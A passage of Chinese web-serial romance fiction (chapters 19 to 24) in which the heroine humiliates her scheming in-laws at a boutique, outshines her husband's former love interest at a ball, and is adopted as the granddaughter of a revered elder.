“听到了吗?!这就是我傅家的媳妇!你们呢?!” 他的拐杖重重一顿地,声音里充满了失望和鄙夷: “一个,为了几千块彩礼,在家里吵得鸡飞狗跳,丢人现眼!” “一个,还没过门,就想着怎么算计婆家,心思不正!” “还有一个!有眼无珠,把明珠当鱼目,捡了芝麻丢了西瓜的蠢货!” 老爷子的话,像一把把尖刀,无情地戳穿了他们最后的遮羞布。 “我告诉你们!”傅老爷子指着他们,一字一句,斩钉截铁,“以后,都给我放尊重一点!见了凝凝,要恭恭敬敬地叫一声‘小婶婶’!谁再敢给她脸色看,动歪心思,就给我滚出傅家!” 第20章 来自“白月光”的请柬 一等功臣家属’荣誉称号和一次性十万元奖励现金这项表彰就像是长了腿一样传遍了整个大院。 所有人看白凝凝都带着或是敬畏或是羡慕的目光,再也没有从前看一个寄人篱下孤女的怜悯了。 傅向阳一家也老实多了,看见自己就是像是老鼠见了猫躲着走。 凝凝觉得好不惬意,有时间就去医院坐坐诊,回家了给傅清寒做做治疗,没事逗逗他,日子过得不亦乐乎。 她发现傅清寒看似冷面阎王,其实不经逗得很,稍稍距离近一点耳朵都会红,和那天晚上药浴露出侵略性的男人似乎不是同一个。 至于前几天那些流言,和林晚晴似乎被她淡忘了。 然而,轻松的气氛,在一周后悄然发生了变化。 这天,凝凝去大院的公共菜地里摘点新鲜蔬菜时,敏锐地察觉到了一丝不对劲。 以往那些见到她,要么热情地打招呼、要么敬畏地问好的大院家属们,今天看她的眼神,都变得有些……古怪。那是一种混合了同情、好奇和幸灾乐祸的复杂眼神。 不远处,几个嫂子正凑在一起,压低声音议论着什么。 “听说了吗?林家那个大小姐,林晚晴,从法国回来了!” “能没听说吗?报纸上都登了,说是那丫头成了什么国际知名的大设计师,还要在京市饭店举办盛大的归国舞会呢!” “哎,她这一回来,傅家小叔那儿……怕是要热闹了。” 一个声音压得更低了:“可不是嘛!当年要不是傅团长出了那事,现在哪有那个乡下丫头什么事儿啊?正主儿回来了,我看她那个‘小婶婶’的位置,坐不坐得稳哦……” 她们正说得起劲,其中一人眼尖地看到了不远处的白凝凝,吓得脸色一白,连忙捅了捅身边的人。 瞬间,所有的议论声戛然而止。 那几个嫂子交换了一个心照不宣的眼神,然后便像什么都没发生过一样,尴尬地笑着各自散开了。 白凝凝站在原地,手里还捏着一颗刚摘下的、带着露水的番茄。 林晚晴? 正主儿? 这不就是前几天说的那个什么金童玉女嘛…… 她对这些充满了恶意的词汇并不在意,只是心中升起一丝迷惑。 这个叫林晚晴的女人,似乎真的和傅清寒有着某种不为人知的过往,而且……好像所有人都知道,唯独她这个正牌妻子被蒙在鼓里。 这感觉,让她有些不爽。 虽说当初和傅清寒是协议婚姻,但他都没说清楚,是不是有点破坏契约精神啊? 白凝凝皱了皱眉,算了,他过去的事……自己才不要管呢…… 哼…… 与此同时,傅家主宅里,周玉芬正拿着一张制作精美的烫金请柬,笑得合不拢嘴。 “妈,你乐什么呢?”傅向阳不耐烦地问道。自从楚小小住进来后,家里就没一天安生过,他烦都烦死了。 “好事!天大的好事!”周玉芬把请柬在他面前晃了晃,“看看!林晚晴回来了!还特意给咱们家,给清寒,都送了舞会的请柬!向阳啊,妈可跟你说,这林晚晴才是你小叔的良配!家世好,人又漂亮有本事,那才是真正的名门闺秀!” 她幸灾乐祸地压低声音:“这下好了,正主儿一回来,我看白凝凝那个小贱人还怎么嚣张得起来!到时候,在舞会上被林晚晴衬得跟个丑小鸭似的,清寒一嫌弃她,把她赶出家门,那才叫大快人心!” 傅向阳看着母亲那副幸灾乐祸的嘴脸,心里却莫名地有些不是滋味。他承认,他也想看白凝凝倒霉,可一想到那个清冷如月的女人,可能会在盛大的舞会上,被另一个优秀的女人比下去,露出失落无助的表情……他的心,竟然有一丝隐秘的刺痛。 他甩了甩头,把这荒唐的想法驱逐出去,烦躁道:“您就盼着吧!” 傍晚,傅清寒回到了家。 他脱下军帽,眉宇间带着一丝不易察觉的疲惫和……厌烦。 他从公文包里拿出那份一模一样的烫金请柬,上面似乎还散发着阵阵馨香,像是某种女性香水的味道。 “这是什么?”白凝凝正好端着一盘切好的水果走出来,好奇地问了一句。 “垃圾。”傅清寒言简意赅。 白凝凝挑眉,垃圾?她捡起来打开一看,舞会请柬? “林晚晴……?”她轻声念出这个名字,想起了白天听到的风言风语。 这不就是……他的那个白月光吗? 傅清寒的目光瞬间锐利起来,他走到她身边,沉声问:“你听说了什么?” 他知道大院里那些长舌妇的德行,也猜到林晚晴这次回来,必然会掀起波澜。 白凝凝摇摇头,压下心里的那点不自在,神情坦然:“没什么,就是觉得,这位林小姐,好像很有名。” 傅清寒看着她清澈见底的眼眸似乎有些躲闪,心中莫名有些烦躁。他不想让她因为这些陈年旧事而费神,更不想让她觉得自己是在被蒙蔽。 他顿了顿,语气里带着一丝自己都没察觉到的郑重:“凝凝,我跟她什么都没有。你不要听那些风言风语。” 白凝凝别开眼,“什么风言风语?我听不懂你在说什么……” “哦?”傅清寒看着她,“你不是因为这个不高兴的?” “谁说我不高兴了?你去不去的和我有什么关系?” 傅清寒一听她这话微微皱眉,“你这说的什么话?我说我要去了吗?” 其实当他收到请柬的时候,下意识想把请柬撕了。林晚晴什么意思他还能不明白?无非就是看自己娶了媳妇,想来打探虚实,看他傅清寒是不是好了,是不是有机可乘。 但他看到请柬上,林晚晴特意手写的那句“清寒,我回来了,在老地方等你”,他深邃的黑眸里闪过一丝冷意。 这个女人,表现得太明显了。 一味地退缩和忍让是不足以教会她什么叫做分寸了,所以他才把请柬带回来。 他不能让她得逞,更不能让任何人,有机会伤害到他现在的生活,伤害到…… 他抬眼去看眼神躲闪的凝凝,这个强嫁给自己,但又给自己治病,说着夫妻一体的小姑娘…… 傅清寒忽然伸出手,覆上白凝凝握着请柬的手。他的掌心温热而干燥,带着让人安心的力量。 “你干嘛?”白凝凝撇嘴。 他看着她的眼睛,黑眸里是前所未有的认真。 “虽然我不想去,但我还没正式把你介绍给所有人认识。” 他的声音低沉而磁性,每一个字都敲在白凝凝的心上。 “凝凝,陪我一起去,好吗?” 他不是在询问,更像是一种邀请。 不是去赴林晚晴的约,而是要借这个万众瞩目的舞台,告诉所有人——他傅清寒身边的人,是谁。 白凝凝的心,漏跳了一拍。 她看着男人眼中那不容错辨的坚定,她不知道他和那个林晚晴有什么过去,但她知道,他现在选择的人,是她。 心里一阵柔软,“好。”她笑着答应了。 她不知道,一场没有硝烟的战争,正在前方等待着她。她现在唯一需要考虑的,只是一个很简单,却又很现实的问题—— 她翻遍了自己那个小小的衣柜,除了几件日常换洗的衣服,竟然连一件能穿去那种场合的裙子都没有。 “没衣服?”傅清寒不知道什么时候出现在身后。 “嗯……没有合适的。” 这些衣服都太普通了,没一件能打的,虽然她不想介意林晚晴,但心里隐隐的不爽。输人不输阵,不管这个林晚晴是何方神圣,她就是要穿一件和平时不一样的,光彩夺目的衣服去。 “那明天我带你去买。”傅清寒抛下一句话,“早点睡,养足精神。” 养足精神?她在背后眨眨眼,养什么精神?莫名其妙……这个男人越来越难懂了。 第21章 狭路相逢 第二天,傅清寒直接把白凝凝带到了京市最繁华地段的一条僻静胡同里。 胡同尽头,是一座不起眼的二层小楼,门口挂着一块低调的梨花木牌匾,上面只有两个龙飞凤舞的字——“悦己”。 “进去吧,老板叫秦悦,是我的发小。”傅清寒把车停在胡同口,并没有进去,“她会帮你。我下午来接你。” 白凝凝点点头,推门而入。 店内别有洞天。没有琳琅满目的成衣,只有几匹光泽流淌、一看就价值不菲的布料,和几个人体模型上展示的、设计感极强的样衣。一个穿着丝质衬衫、阔腿裤,短发利落,红唇明艳的女人正靠在沙发上,慵懒地翻着一本外文时尚杂志。 她听到门响,抬起眼帘,目光落在白凝凝身上,上下打量了一番。 她的眼神毒辣而直接,带着一种不易察觉的审视。 “傅清寒让你来的?”她开口了,声音带着一丝沙哑的磁性。 “是。你好,我叫白凝凝。”白凝凝不卑不亢地回答。 秦悦笑了,她站起身,走到白凝凝面前,捏了捏她的肩膀,又抬起她的下巴仔细端详,嘴里啧啧称奇:“骨相真好,气质也干净。傅清寒那个万年冰山,总算干了件有眼光的事。” 她拉着白凝凝坐下,给她倒了杯花茶:“说吧,那木头让你来做什么?他那审美,除了军装就是黑白灰,可别是让你来做几件家常衣服。” “他让我来……定制一件参加舞会的礼服。” “舞会?”秦悦挑了挑眉,随即像是想到了什么,嘴角勾起一抹玩味的笑,“哦…我知道了…是林大小姐的归国舞会啊。有意思,真有意思。” 她看白凝凝的眼神,瞬间多了几分探究和……战友般的欣赏。 凝凝疑惑,这个女人也认识林晚晴? 就在她胡思乱想的时候,院门口就传来了一阵不和谐的喧闹声。 “哎,你们怎么回事?我们是傅家的客人,怎么不让我们进去?” 不是别人,正是周玉芬那尖利刻薄的声音。 紧接着,楚小小那柔弱中带着一丝委屈的声音也响了起来:“是啊,我们想来给向阳哥的新婚做身衣服,你们怎么能把客人往外推呢?” 秦悦的眉头瞬间皱了起来。 很快,一个伙计就跑了进来,一脸为难:“老板,傅主任的爱人非要闯进来,还说……还说是您这里的常客。” 秦悦冷笑一声。周玉芬确实来过几次,但每次都被她以“没有眼缘”为由打发了。 没等秦悦发话,周玉芬已经拉着楚小小,自顾自地闯了进来。当她看到院子里气定神闲的白凝凝时,脸上的表情瞬间变得精彩纷呈。 “白凝凝?你怎么会在这里?!”周玉芬的语气里充满了不可思议。 楚小小也愣住了,她看着这雅致不凡的院落,再看看气质超然的白凝凝,一股强烈的嫉妒涌上心头。她柔柔地开口,意有所指:“小婶婶也来做衣服吗?这里的衣服可贵了,我听向阳哥说,小叔的津贴好像……并不高吧?” 这话,明着是关心,暗地里却是讽刺白凝凝打肿脸充胖子,消费不起。 白凝凝还没说话,秦悦就先听不下去了。她最烦这种段位的绿茶。 秦悦懒洋洋地倚着门框,对周玉芬和楚楚道:“不好意思两位,我们店今天不接待外客。白小姐是我请来的最尊贵的客人,要为她清场服务。” “什么?!”周玉芬的脸瞬间涨成了猪肝色,“你什么意思?看不起我们?我告诉你,我儿媳妇肚子里怀的可是傅家的金孙!我们买不起吗?” “怀的是金蛋也得按规矩来。”秦悦最烦这种仗势欺人的主儿,语气也变得不客气起来,“而且,二位恐怕是真的买不起。” “你!”周玉芬气得差点跳脚。 楚小小见状,立刻换上一副楚楚可怜的模样,目光落在白凝凝正在抚摸的一匹月白色锦缎上,对白凝凝说:“小婶婶,这块料子真好看,我下周结婚,就想用它做敬酒服,你……能让给我吗?算我求你了。” 好一招道德绑架! 白凝凝心中冷笑,面上却云淡风轻地抽回手,淡淡道:“既然你这么喜欢,那让给你也无妨。” 楚小小和周玉芬顿时面露喜色,以为白凝凝怂了。 秦悦却被气笑了,她正要开口,白凝凝却对她使了个眼色,然后慢悠悠地补充了一句:“不过,悦姐这里的规矩,一向是价高者得。这匹料子,我出五千。” 五千! 在场所有人都倒吸了一口凉气!这在当时,简直是天价! 周玉芬和楚小小的脸,瞬间由红转白。她们把全部家当拿出来,也凑不齐这个数! “你……你哪来那么多钱!”周玉芬失声叫道。 白凝凝微微一笑,晃了晃手里的工资卡:“哦,前几天国家刚奖励了十万块,还没地方花呢,你们是忘了?是没想起来,还是压根就不想想起来?” “噗——” 周玉芬只觉得一口老血梗在喉咙,差点当场喷出来!她忘了这茬了! 前几天她和楚母因为几千块彩礼钱闹得不可开交,最后大家被叫到老爷子面前,白凝凝这个小贱人不止露了大脸,更是发了一笔横财! 十万元啊!想想这钱不是自己的,都觉得肉疼! 一边的楚小小的脸更是白得像纸,她死死地攥着拳头,感觉自己又一次被白凝凝狠狠地羞辱了! 就在这时,白凝凝放在桌上的“大哥大”响了。她接起来,开了免提。 里面传来傅清寒低沉的声音:“凝凝,衣服挑的怎么样了?” 周玉芬和楚小小的身体同时一僵。 白凝凝看着她们那副精彩的表情,慢悠悠地对着电话说道:“还没呢……” 又瞥了一眼站在旁边的婆媳两人,“哎……是不是我眼光太高了,好看的都太贵了。” 她这话,听似抱怨,实则是在火上浇油。 “眼光高有什么不好的?”电话那头传来傅清寒低低的笑声,“女孩子就是要眼光高点才行。” 随即用一种理所当然的、宠溺的语气说道: “看上的就买下来,不用给我省钱。我的钱就是给你花的。” “钱不够,我再去跟军区申请预支。一等功臣的家属,这点待遇总该有。” 他这几句话,一句比一句霸道,一句比一句有分量! “看上的就买下来”、“我的钱就是给你花的”、“一等功臣的家属”……每一个词,都像一记响亮的耳光,狠狠地抽在周玉芬和楚小小的脸上! 她们引以为傲的“金孙”,在国家认证的“一等功臣家属”这个身份面前,简直不值一提! 周玉芬的脸彻底成了猪肝色,她想反驳,却一个字都说不出来。 楚小小更是死死地咬着下唇,几乎要咬出血来。 她费尽心思不惜怀上一个孩子图的是什么?就傅向阳那个死样子自己才看不上呢,还不是傅家的家产? 而傅家家产里面傅清寒的钱就是其中最大的一部分,也就是说现在白凝凝花的每一笔都是将来她的钱! 凝凝显然注意到婆媳两人脸上精彩纷呈的样子,心里更是一顿舒畅,自己快乐固然得意,但看到仇人吃瘪更是令人快意。 她心情好了不少,挑起眉毛,对着电话甜甜一笑:“知道了,老公最大方了。”声音像是浸了蜜一样。 第22章 明月之光 楚小小听了凝凝的话,狠狠盯着她,恨不能把她身上盯出一个洞来。 挂了电话,她好整以暇地看向一脸怨毒的婆媳二人,故作苦恼地对秦悦说:“悦姐,这可怎么办?我先生让我把店都包了,可你们这儿好像还有外客呢?” 秦悦心领神会,立刻板起脸,对伙计道:“愣着干什么?没听到傅太太的话吗?关门,送客!告诉外面排队的人,‘悦己’今天被包场了,让他们改天再来!” “是!”伙计憋着笑,立刻上前,对周玉芬和楚小小做了一个“请”的手势。 “我们……”周玉芬还想说什么。 “请吧,两位。”秦悦的眼神已经彻底冷了下来,“再不走,我可就要叫保安了。” 这下,周玉芬和楚楚再也待不下去了。她们像两只斗败的公鸡,在一众伙计和外面排队客人探究的目光中,灰溜溜地被“请”了出去。 那狼狈的模样,简直成了今天胡同里最大的笑话! “哈哈哈哈哈!” 看着她们的背影,秦悦终于忍不住,爆发出爽朗的大笑。她走到白凝凝身边,一拳捶在她肩膀上:“行啊你,白凝凝!我还以为你是个任人拿捏的软柿子,没想到是个扮猪吃老虎的角儿!对我的胃口!” 白凝凝也笑了:“对付什么样的人,就得用什么样的手段。是她们自己不识趣,还死装。” “说得好!”秦悦对她越发欣赏,“就冲你刚才那股劲儿,你这个朋友,我交定了!” 两人相视一笑,都觉得相见恨晚。 “来吧,”秦悦拉着她的手,走进了最里面的VIP设计室,“姐带你看看什么是砸场子的战袍!” 凝凝抿唇一笑,看来谢悦什么都知道。难怪傅清寒让自己来找她做衣服。 她重新打量着白凝凝,眼神变得专业而锐利:“林晚晴,我跟她是一个大院里长大的,后来又在法国念过一个学校,我太了解她了。” 秦悦的语气里带着一丝不屑:“她那个人,虚荣、好强,又极度自私。当年傅清寒还是天之骄子的时候,她恨不得天天贴上去,逢人就说他们是天生一对。后来清寒一出事,她跑得比谁都快,还美其名曰‘为了事业去深造’。现在听说清寒好了,又巴巴地跑回来,真够恶心的。” 她话锋一转,看着白凝凝:“她这次回来,肯定是要在舞会上把你比下去,好彰显她‘正主’的地位。她最擅长的就是西式奢华风,什么大裙摆、钻石珠宝,她肯定会往自己身上堆。” 白凝凝静静地听着,这是她第一次,从一个知情人口中,听到关于林晚晴和傅清寒的过去。虽然秦悦说得不屑,但她心里那根刺,还是被轻轻拨动了一下。 秦悦看出了她情绪的细微变化,拍了拍她的手,没有再深入这个话题,而是充满自信地说道:“所以,我们偏不跟她走一个路子!” 她从一个上锁的柜子里,小心翼翼地捧出了一匹布料。 那是一匹在灯光下流转着七彩光晕的云锦,上面用金银丝线,绣着栩栩如生的凤凰暗纹,华美而不张扬,古典而又神秘。 “这叫‘霓光羽’,是我压箱底的宝贝,本来打算留着给自己当嫁妆的。”秦悦的眼中闪烁着兴奋的光芒,“今天,就用它给你做一件独一无二的战袍!” 她围绕着白凝凝走了一圈,脑中已经有了构想:“我要给你做一件改良式的旗袍长裙,用最东方的神韵,去碾压她那套西式的浮华!” “我要让你一出场,就让所有人明白——” 秦悦看着白凝凝,一字一句,掷地有声: “什么白月光,什么朱砂痣,在真正的日月光辉面前,都不过是萤火之光,不值一提!” 周六晚,京市饭店。 这里被布置成了流光溢彩的梦幻世界,悠扬的小提琴声在水晶灯下流淌,衣香鬓影,觥筹交错。京市有头有脸的人物,几乎都聚集于此,庆祝林家大小姐林晚晴的载誉归来。 林晚晴无疑是今晚的绝对主角。 她穿着一身法国名家设计的白色鱼尾长裙,裙摆上镶满了细碎的钻石,在灯光下熠熠生辉。她妆容精致,举止优雅,像一只骄傲的白天鹅,游刃有余地穿梭在宾客之中,享受着所有人的赞美和追捧。 “晚晴真是越来越漂亮了,跟仙女似的!” “是啊,不愧是国际大设计师,这气质,国内这些庸脂俗粉哪比得上!” 周玉芬和傅向阳、楚小小一家也来了。周玉芬看着众星捧月的林晚晴,再看看身边穿着普通、一脸小家子气的楚小小,心中更是不屑,嘴上却酸溜溜地对楚小小说:“看到了吗?这才是真正的名媛,你以后多学着点!” 楚小小被说得面色一白,心中对林晚晴的嫉妒和对周玉芬的怨恨又深了一层。 我不知道什么是好东西吗?关键是你给我买了吗?还不是被人赶出来了?就会在我面前耍威风。 就在楚小小内心忍不住对准婆婆吐槽之际,所有人的目光都在等待着另一个主角的到来——傅清寒。 当年两人的事在大院里传的沸沸扬扬,现在大家都在等着看好戏。 “傅团长会来吗?听说他和林小姐当年……” “谁知道呢,不过他娶了个乡下丫头倒是真的。估计是不好意思带出来吧?” “嘘……别说了,人来了!” 随着一声低呼,宴会厅的大门被推开。 瞬间,整个大厅的喧嚣,仿佛被按下了静音键。 所有人的目光,都齐刷刷地投向门口,然后,集体陷入了一种被极致美丽所震撼的失语状态。 傅清寒依旧是一身笔挺的黑色西装,将他衬得愈发肩宽腿长,气势逼人。 但今晚,他却甘愿沦为背景板,因为他身边的女人,实在是太耀眼了。 白凝凝身着那件名为“霓光羽”的改良式旗袍长裙。裙子的底色是清冷的月白,但在灯光下,却能折射出七彩的流光,仿佛将银河穿在了身上。贴身的剪裁,完美地勾勒出她纤秾合度的身段,高开裙叉间,一双笔直修长的玉腿若隐若现。 最绝的是,裙身上用金银丝线绣出的凤凰暗纹,从领口盘旋至裙摆,在流光溢彩中展翅欲飞,华美、高贵,又带着一种睥睨众生的神秘气场。 她没有佩戴任何奢华的珠宝,只是在发间别了一支简单的白玉簪,却比全场任何一个珠光宝气的女人,都要夺目。 如果说林晚晴是精心雕琢的西式白天鹅,那白凝凝,就是从古老画卷中走出的、遗世独立的东方神女。 “天……那、那是谁?” “是傅清寒的妻子?不是说是乡下来的吗?怎么会……” “这气质……这身段……比林晚晴还有过之而无不及啊!” 议论声如同潮水般涌来。周玉芬和楚小小的脸,已经彻底僵住了。她们怎么也想不到,那个她们眼中的“土包子”,竟能有如此惊为天人的一面! 第23章 突如其来的认亲 傅向阳更是看得痴了。自己怎么之前没发现……她长得这么漂亮? 他直勾勾地盯着那个光芒万丈的女人,心脏像是被一只无形的手狠狠攥住,又酸又胀,悔恨的情绪几乎要将他淹没。 林晚晴脸上的完美笑容,也在看到白凝凝的那一刻,出现了一丝裂痕。 她显然也没想到傅清寒的妻子居然是这副模样…… 但她很快调整过来,端着酒杯,踩着优雅的步伐,以主人的姿态,迎了上去。 她选择性地忽略了白凝凝,一双美目盈盈地望着傅清寒,声音柔得能掐出水来:“清寒,你终于来了。我还以为……你不会见我了。” 那语气,那眼神,充满了久别重逢的深情和一丝若有若无的委屈,仿佛他们之间真的有着一段刻骨铭心的过往。 然而,傅清寒甚至没有正眼看她,而是微微侧身,将白凝凝更紧地护在怀里,那是一个占有和保护的姿态。然后,他才用一种公事公办的、疏离至极的口吻,对林晚晴介绍道: “林小姐,介绍一下,这是我的妻子,白凝凝。” 一句“林小姐”,瞬间将两人的距离拉开了十万八千里。 一句“我的妻子”,如同最响亮的宣誓,宣告了白凝凝的身份,更像是一记巴掌狠狠扇在林晚晴的脸上。 林晚晴的脸色,瞬间白了一分。 “哦……原来是清寒的夫人啊,你好啊。” 白凝凝看着眼前这个姿态优雅、却难掩眼中锋芒的女人,心中那根刺又动了一下。但她面上却只是淡淡一笑,举起手中的果汁,对林晚晴道:“林小姐,你好。你的舞会很成功,恭喜。” 她的姿态不卑不亢,既没有像个泼妇一样质问,也没有自降身份地去争风吃醋,而是用一种云淡风轻的态度,表明了“我才是他身边的人,你只是个需要被恭喜的外人”。 林晚晴不死心,强撑着笑容,目光落在白凝凝身上,看似赞美,实则暗藏机锋:“傅太太真是漂亮,这身衣服也很有……特色。只是,不知道傅太太是哪里人?听口音,不像京市本地的。我从小在京市长大,后来又去了法国,对各地的风土人情,都很有兴趣。” 她在炫耀自己的出身高贵、见多识广,同时又在不动声色地提醒所有人,白凝凝是个“外地人”,是个上不了台面的“乡下丫头”。 白凝凝还没开口,傅清寒冰冷的声音就响了起来:“我的妻子是哪里人,就不劳林小姐费心了。你只需要知道,她现在是傅家人,就够了。” 说完,他甚至懒得再多看林晚晴一眼,直接牵起白凝凝的手,柔声问道:“饿了吗?那边有吃的,我带你过去。” 两人旁若无人地从林晚晴身边走过,留给她一个决绝而亲密的背影。 林晚晴端着酒杯的手微微发抖,精心描画的指甲几乎要掐进掌心里。 傅清寒!这就是你找的好媳妇!毫无教养!居然敢这么无视我! 舞会继续。 当悠扬的华尔兹响起时,傅清寒牵着白凝凝的手,滑入了舞池。 他的舞步沉稳而有力,白凝凝的舞步生涩,但两人配合得天衣无缝,再加上男的俊美,女的娇美,像一对璧人,吸引了全场的目光。 然而,白凝凝却敏锐地察觉到,周围那些投向他们的目光,变得愈发怪异。 那不再是单纯的惊艳或嫉妒,而是充满了更深层次的探究、同情,甚至……怜悯? 他们看着她,就像在看一个漂亮却可悲的……替代品。 不用脑子想也知道是因为什么,傅清寒和那个林晚晴之间,一定有着一段她所不知道的、被所有人默认的“过去”。 而这段“过去”,就像一根看不见的绳索,捆绑着傅清寒,也成了所有人评判她的标准。 白凝凝的心,慢慢沉了下去。 她虽然不把林晚晴放在眼里,但她讨厌这样被人比较。 舞曲终了,她停下脚步,仰头看着傅清寒,眼中带着一丝她自己都未察觉的倔强。 她想问,但这里不是问的场合,而且即便场合合适,她也拉不下来脸去问。 她和他结婚就是源自一场交易,自己有什么资管过问他之前的事? 而且……自己凭什么在意啊……管她什么事…… 自己一个古武世家的传人,什么时候要和一个莫名其妙的女人争风吃醋了? 太跌份了! 就在她胡思乱想的时候,舞会大厅的门再次被推开。 一个年轻的男性,戴着金丝眼镜,是陈老总的秘书,时常出现在电视新闻里的张秘书,在一众警卫员的簇拥下,步履匆匆地走了进来。 他没有理会任何人的问候,径直穿过人群,走到了白凝凝和傅清寒的面前,脸上带着无比激动和郑重的神情。 “白小姐!傅团长!”张秘书的声音洪亮而清晰,足以让整个大厅的人都听到。 “我奉陈老总之命,前来宣布一个决定!” 他顿了顿,目光扫过全场,最后落在白凝凝身上,用一种近乎宣告的语气,大声说道: “陈老总身体已经彻底康复!为报答您的救命之恩,也为全他一份喜爱之心,老人家决定,正式对外宣布——” “收您,白凝凝同志,为他的义孙女!” 张秘书的声音,仿佛一颗投入平静湖面的深水炸弹,在金碧辉煌的宴会厅里,掀起了滔天巨浪! 这句话,每一个字都带着千钧的重量,狠狠地砸在每一个人的心上! 整个大厅,陷入了一片死寂。 随即,是倒吸凉气的声音,此起彼伏。 陈老总的……义孙女?! 这意味着什么? 这意味着,白凝凝的身份,在这一秒钟,发生了翻天覆地的变化! 她不再是那个无权无势、出身不明的孤女,不再是那个需要依附傅清寒才能立足的“乡下妻子”。 她摇身一变,成了拥有全国最顶级家世和背景的“陈家大小姐”!她的靠山,不再仅仅是傅清寒,而是整个华国最受敬重的开国元勋! 这个身份,足以让在场的所有人,都必须仰望她! “不……不可能……” 林晚晴脸上的血色,在瞬间褪得一干二净。她身体摇摇欲坠,几乎握不住手中的高脚杯。 她引以为傲的一切——显赫的家世、旅法设计师的光环、众星捧月的地位,在“陈老总义孙女”这七个字面前,被碾压得粉身碎骨,成了天大的笑话! 她处心积虑地举办这场舞会,就是为了向白凝凝示威,为了彰显自己才是傅清寒的白月光。 可现在,却成了白凝凝的加冕礼! 她也成了那个不自量力、试图挑衅正宫的跳梁小丑! 她之前对白凝凝摆出的所有家世优越感,此刻都像一记记响亮的耳光,狠狠地、反复地抽在她的脸上,火辣辣地疼! 而另一边,周玉芬的腿已经彻底软了。她扶着身边的桌子,才勉强没有瘫倒在地。 陈老总的……干孙女? 她想到自己之前对白凝凝的种种刁难、辱骂,之前还想侵吞她的抚恤金……一股冰冷的恐惧,从她的脚底板,直冲天灵盖! 楚小小更是嫉妒得发狂,她死死地攥着拳头,指甲深深地陷进肉里,却感觉不到一丝疼痛。她美丽的脸庞因为嫉妒而扭曲,心中在疯狂地呐喊:凭什么?!凭什么白凝凝能有这样的泼天富贵?! 先是功勋章,再说十万元奖金,现在还要认亲了? 白凝凝这个寄人篱下的孤女,居然要成为陈老总的孙女了?? 她费尽心机,不惜用上“奉子成婚”的手段,才勉强挤进傅家的大门。可白凝凝,却轻而易举地,就站到了她一生都无法企及的云端! 这简直岂有此理!明明自己才是重生一遭,手握命运的剧本! 至于一旁的傅向阳则是脑中一片空白,只剩下无尽的悔恨和绝望。 他看着那个在众人敬畏的目光中,依旧亭亭玉立、神色淡然的白凝凝,心脏像是猫反复抓挠。 他知道,他与白凝凝之间的距离,已经不再婶婶和侄子,而是地面与天空。 他亲手推开的,不是一个妻子,而是一个向上攀登的阶梯! 如果他当初没有悔婚,没有被楚小小引诱,现在站在她身边的就是自己! 全场宾客的眼神,也在这短短几十秒内,完成了从同情、怜悯到敬畏、羡慕,再到谄媚讨好的转变。 无数人开始懊悔,刚才为什么没有抓住机会上前结交,无数人开始盘算,要如何才能巴结上这位新晋的“陈家小姐”。 第24章 认亲仪式,陈家兄妹 白凝凝自己也愣住了。 她没想到,陈老总会给她这样一份……厚礼。 她下意识地看向身边的傅清寒,只见男人也正看着她,那双深邃的黑眸里,没有震惊,只有满满的、化不开的温柔和……骄傲。 仿佛在说:你看,你本就值得这世间最好的一切。 张秘书看着众人的反应,满意地点了点头,继续朗声道:“陈老总说了,认亲的仪式,不日将在陈家老宅正式举办!届时,会邀请各位亲朋好友,一同见证!今天我来,一是宣布这个好消息,二来,也是替老总,请他的宝贝孙女三天后回家一趟,认认门!” 这话一出,更是坐实了这件事的真实性! 林晚晴再也支撑不住,手中的酒杯“哐当”一声摔在地上,红色的酒液,像血一样,染红了她洁白的裙摆。 她失魂落魄,狼狈不堪。 这场她精心准备的、属于她的主场舞会,彻底失败了…… 但她的目光变得更为阴沉,林晚晴这辈子要风得风,要雨得雨,什么时候吃过这样的亏? 白凝凝我们走着瞧。 …… 三天后,陈家老宅。 坐在前往陈家老宅的吉普车里,白凝凝看着自己身上那件素雅的旗袍,手心里竟沁出了一层薄汗。 她两世为人,见过大场面,甚至在手术台上掌握过生死,可面对即将到来的认亲仪式,她还是不可避免地……紧张了。 那不是面对强敌的紧张,而是一种即将拥有“家人”的、近乡情怯般的忐忑。在这个陌生的世界,她也要有家人了? 先是对傅清寒这个合作伙伴的在意,现在又是陈家的认亲。她和这个书中世界的羁绊似乎越来越深了…… 她轻轻皱眉,人在其中,就不会抽身了啊…… 傅清寒敏锐地察觉到了她的茫然和无措,以为她只是紧张,毕竟对方是陈家。前后身份的变化人是谁都难免有情绪波动。 他伸出宽厚的大手,将她微凉的、蜷缩着的手指包裹进掌心。 “别怕。”他的声音低沉而有力,“陈爷爷是真心喜欢你,拿你当亲孙女疼。你只需要做你自己就好。” 感受到他掌心传来的温度和力量,白凝凝心中的紧张,仿佛被熨平了大半。她抬起头,对他露出一个浅浅的笑:“嗯。” 傅清寒看着她故作镇定的模样,心中一软,补充道:“就算不喜欢,也没关系。你还有我。” 有我。 这简单的两个字,比任何华丽的辞藻都更能安抚人心。 白凝凝的心像是被温水熨过一样,他还挺会安慰人的…… 也许是自己考虑得太多了…在书中世界和他这样相处,似乎也挺不错的…… 认亲仪式办得低调而郑重。到场的都是京市真正的顶级圈层人物。 白凝凝换上了一身素雅的旗袍,在傅清寒的陪伴下,走进了这座见证了华国风云变幻的四合院。 在厅堂正中,她恭恭敬敬地对端坐在太师椅上的陈老总和已故的陈老夫人牌位,行了跪拜大礼,奉上了一杯认亲茶。 “哎!好孩子,快起来!”陈老总激动得热泪盈眶,他亲自上前,将白凝凝扶起,“以后,这里就是你的家!谁敢欺负你,就是跟我陈镜海过不去!” 老人家的声音,掷地有声,是对白凝凝最强有力的庇护。 就在这时,两个年轻人从后堂走了出来。 在前面的二十五六岁的男人,他穿着一身合体的中山装,面容俊朗,气质儒雅沉稳,一双眼睛深邃而睿智。 正是那天晚上给傅清寒焦急打电话的,陈老总的长孙,陈慕白。他一改在医院的憔悴,颇有几分世家公子的模样,不愧是正是年纪轻轻就在国家重要部门任职的青年才俊。 跟在他身后的是个十八九岁的女孩,穿着一身粉色的连衣裙,长相甜美,但眉眼间却带着一丝被娇惯出来的傲气和挑剔。 是的陈家的小公主,陈瑶。凝凝曾经在医院见过两次,但没说过话。 “爷爷。”两人齐声问好。 “来来来,”陈老总高兴地向他们招手,“慕白,瑶瑶,凝凝你们两个都是见过的,没有她爷爷这条命就交代了!大恩不言谢,以后她就是你们的亲人,你们要好好待她,听到了吗?” 陈慕白看向白凝凝,眼中带着真诚的欣赏和善意,他微微一笑,主动伸出手:“凝凝,按年龄,我虚长你三岁,你叫我声哥哥,以后我们就是一家人了。” 他的态度不卑不亢,既有大家子孙的风度,又有恰到好处的亲近。 白凝凝对他印象不错,也伸出手:“你好。” 